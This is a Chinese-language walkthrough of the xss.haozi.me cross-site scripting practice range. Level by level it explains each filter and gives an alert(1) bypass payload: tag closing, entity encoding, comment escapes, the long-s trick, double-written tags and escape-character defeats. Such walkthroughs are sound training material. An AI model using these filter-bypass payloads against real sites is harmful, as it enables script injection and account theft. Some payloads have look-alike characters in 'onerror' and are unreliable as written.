xss.haozi.me靶机 通关

0x00

没有任何过滤可以直接注入<img src=x οnerrοr=alert(1)>

0x01

使用了testarea标签将我们的输入内容以普通的字符串进行展示

但是我们可以将标签进行闭合

</textarea><img src=x οnerrοr=alert(1)>

0x02

我们依然可以先闭合之后添加属性a" οnclick="alert(1)

当我们点击输入框后可以实现弹窗

0x03

我们可以看到它通过热品replace()函数将()替换成了空格

但是在html中我们可以使用``来代替()

<img src=x οnerrοr=alert`1`>

0x04

我们可以看到它将我们的()和``都替换成了空

但是我们可以提前编码

<img src=x οnerrοr=alert&#40;1&#41;>

为什么可以这样写呢?因为解码是有顺序的url>html>js

0x05

可以看到它将我们的的输入进行了注释

但是在html中注释有两种写法<!-- -->和<!-- --!>

所以我们的payload可以这样写:--!><img src=x οnerrοr=alert(1)>

0x06

我们可以看到它将auto和on开头的事件都进行了过滤并忽略了大小写

但是html是支持换行的所以我们可以写成

type=image src=x onerror

=alert(1)

那么不是说将on事件进行了过滤吗?为什么我们依然能使用

你需要看清楚它写的正则是以on或auto开头但是它必须以=号结尾

所以我们就可以利用换行进行绕过

0x07

我们可以看到它的正则写的是以<开始,匹配一个<后面可能跟着一个/或者没有跟/

匹配一个或多个非>字符的字符,匹配>字符

也就是说这个正则可以过滤html中的任意标签

我们可以利用html中的一个特性就是标签不必必须写全我们的html可以自动补齐标签

<img src=1 οnerrοr="alert(1)"

0x08

它将我们的输入放在了style标签中并且将style的闭合做了过滤

但是我们依然可以利用html的特性进行绕过

我们可以使用上面使用过的方法就是换行

也可以使用</style >在结束标签中加一个空格html依然可以执行

</style ><img src=x οnerrοr=alert(1)>

0x09

这串代码的意思是必须要有https?://www.segmentfault.com/

所以我们可以将payload写在后面

https://www.segmentfault.com/sss" οnerrοr="alert(1)

0x0A

我们可以看到他将一些符号进行了过滤所以导致我们没办法使用属性

但是我们可以自己制作一个js文件去让js解析

网站也给我们准备了一个可以访问的文件
https://www.segmentfault.com.haozi.me/j.js

所以我们可以写成这样

https://www.segmentfault.com.haozi.me/j.js

0x0B

它使用了toUpperCase()将所有内容都转成了大写

在HTML中标签是不区分大小写的但是path会区分大小写

所以我们需要将path部分进行编码

<img src=x οnerrοr=&#97;&#108;&#101;&#114;&#116;(1)>

0x0C

这里只是对将script替换成了空字符,我们依然可以使用第十二关的方法来注入

如果一定要使用script标签的话可以使用双写进项绕过

<scrscriptipt src=x οnerrοr=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;></scriscriptpt>

0x0D

它这里将< / " ' 都进行了过滤

显然我们需要逃逸出被注释掉的alert()

这里我们可以使用换行逃逸出alert()然后使用-->注释掉后面的')

xxx

alert(1)

-->

0x0E

它在所有以<的开头都用了替换使我们的标签失效

这里我们需要使用到一个技巧html中s还有一种特殊的写法 ſ

"ſ" 是拉丁字母 "s" 的一种历史形式,称为长 s(long s)

<ſvg/οnlοad=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

0x0F

我们发现它将我们的特殊字符替换成了html实体编码放入到了onerrror中

但是我们的onerror事件中html实体编码是可以正常转换调用的

我们可以先将前边的闭合,然后使用换行或者 ;

aaaa');alert(1)//

0x10

我们可以看到它将我们的输入直接放在了window.data

这相当于window直接调用函数所以我们直接输入

alert(1)

0x11

我们可以看到它将我们特殊符号和换行符等都进行了过滤

但是我们依然可以尝试先闭合")虽然它将换行符过滤了但是我们依然可以使用 ;

最后使用//注释符将后面的"注释

");alert(1)//

0x12

可以看到它使用将"替换成了\\" 当我们输入后它会将我们的"进行转义防止我们闭合

但是我们只需要在将转义符转义一次它的转义符就会失效当我们输入\"这样的内容后

实际就会变成 \\" 这样它的转义符就会失效我们就可以完成闭合

\");alert(1)//

相关推荐
SunTecTec26 分钟前
Flink Docker Application Mode 命令解析 - 修改命令以启用 Web UI
大数据·前端·docker·flink
拉不动的猪1 小时前
前端常见数组分析
前端·javascript·面试
小吕学编程2 小时前
ES练习册
java·前端·elasticsearch
Asthenia04122 小时前
Netty编解码器详解与实战
前端
袁煦丞2 小时前
每天省2小时!这个网盘神器让我告别云存储混乱(附内网穿透神操作)
前端·程序员·远程工作
一个专注写代码的程序媛3 小时前
vue组件间通信
前端·javascript·vue.js
一笑code3 小时前
美团社招一面
前端·javascript·vue.js
懒懒是个程序员4 小时前
layui时间范围
前端·javascript·layui
NoneCoder4 小时前
HTML响应式网页设计与跨平台适配
前端·html
凯哥19704 小时前
在 Uni-app 做的后台中使用 Howler.js 实现强大的音频播放功能
前端